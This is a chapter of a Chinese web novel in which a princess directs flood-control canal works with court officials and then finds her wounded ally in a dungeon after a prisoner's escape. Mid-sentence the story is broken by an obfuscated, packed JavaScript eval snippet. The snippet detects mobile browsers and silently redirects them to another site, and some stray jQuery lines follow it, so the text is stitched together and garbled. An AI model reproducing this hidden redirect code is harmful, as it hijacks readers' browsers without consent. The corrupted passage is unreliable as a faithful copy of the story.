深夜——太守府
徐夕照领着工匠们走回了府中,他卷着裤管,鞋底粘着烂泥,一脚深一脚浅地向着议事正堂走去。
而顾询墨此刻仍坐在主位上,等待他们的归来。
“殿下!”徐夕照还未来得及将沾湿的裤脚放下,便连忙走近桌边,神色凝重。
他站在地图前,指着图上的重山县,语气焦急,“果然如您所言,洪水已淹到了重山县中部,按照这样的进展,不过半月,便会淹到河东主城啊!”
众官员闻言惊讶万分,七嘴八舌地便开始询问其中细节。
“此话怎讲?如今水位如何?”
“重山县离此数十里,怎会那么快淹至主城?”
“受灾面积如何?可有伤亡?”
“安静。”顾询墨一语刚落,众人瞬间安静下来,等待他的指示。
“淹到主城倒是其次,但流民数量日渐增多,若再无解决方案,几日过后,主城也会被流民占据,到时……”顾询墨叹了口气,欲言又止。
“到时城中秩序崩乱,恐怕治水之行……更是难以推进啊。”徐夕照适时补充道。
“是啊。”顾询墨深吸了一口气,提出了一个大胆的想法:“我的想法是……让这些流民去开挖沟渠,用太守府的私兵维持秩序,大家共同开挖沟渠拓宽河道,我们则为其提供帐篷这类的临时住所和食物,以解此次水患危机,至于线路……”
众人纷纷点头赞同,等待顾询墨的下文。
顾询墨在地图上用炭笔画出一条线路,道:“我的想法是……向北开挖。”
“不行啊!”工部侍郎首先提出反对意见,“若依殿下所画线路,这条线要引水直至北境了!若北境有人沿这挖穿的线路而来,便能直驱洛阳啊!到时……我朝危矣!”
“是啊殿下!”徐夕照也提出了反对,“况且这引水线路长度如此连绵,即使流民日夜开挖,半月时间也有些困难……”
“那诸位还有何高见?”顾询墨语气谦卑,神情却充满了无奈。
众人紧跟着沉默……
他们能有什么高见呢,原先的引水线路只会令洛阳这些下游河段也尽数遭殃,现在这线路,虽说终点是北境,但此线路一开,这水患问题便能迎刃而解。
可直通北境,太过危险。
众人一时间也想不出个万全之策,只能沉默。
“若不然,先往北,将水先引至汾水中……”顾询墨提出另一条相对保守的线路,“再经平阳郡与并州间河段,向东继续开挖,直至与上党郡相连……”
“若将水直接引至漳水中,再将境内的漳水河段挖穿,让这水直接入渤海,如何?”顾询墨看向正在沉思的众人。
“此举虽慢了些,但不失为一个好办法。”工部侍郎这次倒是没第一个提出反对,但他还是问出了一个十分关键的问题,“若这条线路联通,便会连接安国境内……到时……”
“那你就说吧,还有何万全之策?”顾询墨索性一摊手,等待他的想法。
“这……”工部侍郎也没啥高见,被顾询墨反问后他也不敢再开口了。
“连接安国固然有些隐患,但此刻若再不解河东水患,到时郡中流民数量只会与日俱增,而这些流民无家可归,到时若一举涌至城中……”
“不仅此次水患无法解决,还要分心去处理流民问题,等那洪水再蔓延几分,直接淹至下游河段,到时洛阳也成了水城,我朝首都都被淹没,难道不比侍郎大人担心的问题还要严重吗?”
“再加上,这群流民无家可归,也没什么顾虑,若他们恣意生事,保不准便如临川匪患那般,数十年得不到解决啊!”
“殿下说的对!”徐夕照不忍见好友如此窘迫,加上顾询墨所言确实在理,便劝好友道,“安国势弱,他们不敢越线,况且固守北境的骠骑大将军就在那处几百里外,安国若有来犯,便能打得他们铩羽而归!”
“倒是殿下聪慧,我等只考虑国与国之间的冲突,反忘了民生才是立国根本。”徐夕照话到最后,又捧了顾询墨一把。
“没有啦。”顾询墨有些羞愧地挠了挠头。
她自认为自己不过是因为有了系统手册的帮助,才能在预知后事的基础上及时调整。
可徐夕照这么一夸,她也有些不好意思了。
好像无形之中自己成了他们眼中高瞻远瞩的高人了……
好在,徐夕照这次是与顾询墨同级的主监大臣,两人又是意见统一,事情的推进便显得格外顺利。
快马加鞭将实施方案送回朝廷后,第三日,顾询墨便收到了康元帝的回信。
康元帝在信中十分爽快地同意了她的意见。
为了让她无后顾之忧,康元帝又派了数十禁卫军与千数军士,将两万五千石粟米与两千石稻米运送至河东,一切交由顾询墨全权负责。
于是,一场如火如荼的治水之行便浩浩荡荡地开启了。众人分工明确,季竹心每日在宋柏元的“保护”下为流民施粥。
而顾询墨每日的任务便是视察线路的开挖情况并及时做出调整,以至于十天下来,她竟瘦了许多。
线路的第一段开挖十分顺利,第十日时,线路终于开挖至了汾水之中,眼见水位渐渐下降,总算解了主城被淹之险,顾询墨也松了口气。
如今粮草已至,线路前期进展十分顺利,顾询墨也渐渐自信许多。
他们下一步的计划是先将平阳郡与并州间的河段相连,再向东开挖,引水至上党郡。
可问题接踵而至,这平阳郡与并州间官员管辖并不相通。冯翊郡的水患迫在眉睫,她可没有多少时间可以和这些官员闲话家常。
若再不解决这问题,流民发现自己得不到安置,也会渐渐开始生出怨怼,就怕会有反叛之举。
二来,这上党郡的乌知节与陈牧私交甚笃,若她开挖线路至上党郡,必然会让乌知节知晓此事,到时之前的伪装便不攻而破。
得想办法让乔乔写封信,先断了乌知节的怀疑……
顾询墨这么想着,便暂停了今日的会议,转而带着岳茯苓向地牢走去。
地牢昏暗,空气中泛着一股潮湿的霉味。顾询墨越靠近那间牢房,便能闻到那越发刺鼻的血腥味。
乔乔不会直接把他捅死了吧?
顾询墨捂着鼻子,心中一顿。
若直接将他捅死,顾询墨倒是觉得太便宜他了。可乔乔此举也不算奇怪,毕竟是血海深仇,她能忍陈牧一时已是宽容。
但顾询墨原本想的是,等解决了水患后将此人与乌知节一同押赴洛阳,当着全洛阳城的面,再将二人凌迟。
可走到牢房的那一刻,顾询墨却发现事情与她想象的完全不符!
那木桩上早已没了陈牧的身影,而乔乔,则是一脸苍白地倒在血泊之中。
顾询墨被这突如其来的意外惊到,连附在牢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093089|159628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门上的手都渐渐无力起来。
她试图打开牢门,却发现自己双手颤抖而无力,竟连牢门都推不开了。
岳茯苓见此情状,伸手将房门推开,这才让她有了进去的机会。
可当鞋踩在血泊之上的那一刻,顾询墨却双腿一软,跪倒在地。
此刻,她脑中空空,一时之间不知该作何反应。
乔乔……死了?
她不敢想象,忍辱负重多年,乔乔竟在最后的黎明前……死了……
明明只要再过几天,她就能让乔乔报仇雪恨了……
明明……乔乔可以先将陈牧杀了的……
可她还是甘愿等待判决下来……
如此坚强勇敢的女孩,就因为陈牧这恶人而失去了鲜活的生命。
顾询墨手指轻颤,伸到乔乔面前去探她的鼻息。
乔乔显然已断了鼻息,可顾询墨还是不敢相信,又去探她的脉搏。
她突然想起季竹心给过她灵泉水,便匆忙从腰间解下那小瓶,随后掰开乔乔的嘴,将水灌了进去。
而后,她俯到乔乔的胸前,听着对方的心跳。
没有……没有心跳了……
顾询墨等了许久,也没有听到心脏跳动的声音。
“殿下……”岳茯苓看着对方神情恍惚的模样,劝慰道,“人死不能复生……殿下……节哀。”
她低着头,声音却越来越低,她也在为乔乔的离去而惋惜。
“砰砰……砰砰……”
就在顾询墨即将放弃时,她终于听到了乔乔的心跳。
轻微的,却又充满希望的心跳声。
顾询墨惊喜万分,又去伸手探她的鼻息,“她还活着!太好了……还活着……”
岳茯苓心中一痛,以为顾询墨是接受不了对方的死,便又转头劝道,“殿下……人死……诶?”
她说话间抬起头看去,却见乔乔睁开了双眼。
虽然她面色依旧惨白,但确实……还活着!
“还好吗?”顾询墨掏出之前腰间的锦囊,拿出吊命的人参,将其放进了乔乔的口中。
“殿下……我……我没能看住陈牧。”乔乔流下悔恨的泪水,“前两日的传信纸张不对,令乌知节生了疑……”
乔乔知道陈牧平日里写信的口吻,也熟悉对方的字迹,可她忽略了一点——写信的纸张。
陈牧与乌知节的勾结本就是暗中进行,为了确保不被其他人发现,他们每次传信都是用的特定的纸。
那纸上有锦云暗纹,只有在烛火的映照下才会显露出来。
乔乔不知道这细节,便只用陈牧平时的习惯回了书信,乌知节由此生疑,便派了手下暗中潜入河东,埋伏几日后,趁着众人不注意,从地牢救出了陈牧。
而乔乔身上的一身伤,也是陈牧报复她捅的……
至于这传信一事,自然也是陈牧看她活不了了,才施舍般地告知了她。
“不怪你。”见她面色惨白却仍在道歉,顾询墨心生不忍“你已经做的很好了,用那信拖延了几日时间,才解了河东水患……”
“真的吗?那我就放心了……”
她流的血太多了,如今能与顾询墨说这么多话已是强撑,说完后,她便再也支撑不住,陷入了一片黑暗之中。
顾询墨一把将乔乔抱起,又吩咐岳茯苓道:“赶快去把所有官员集中,有急事商讨!”
“是!”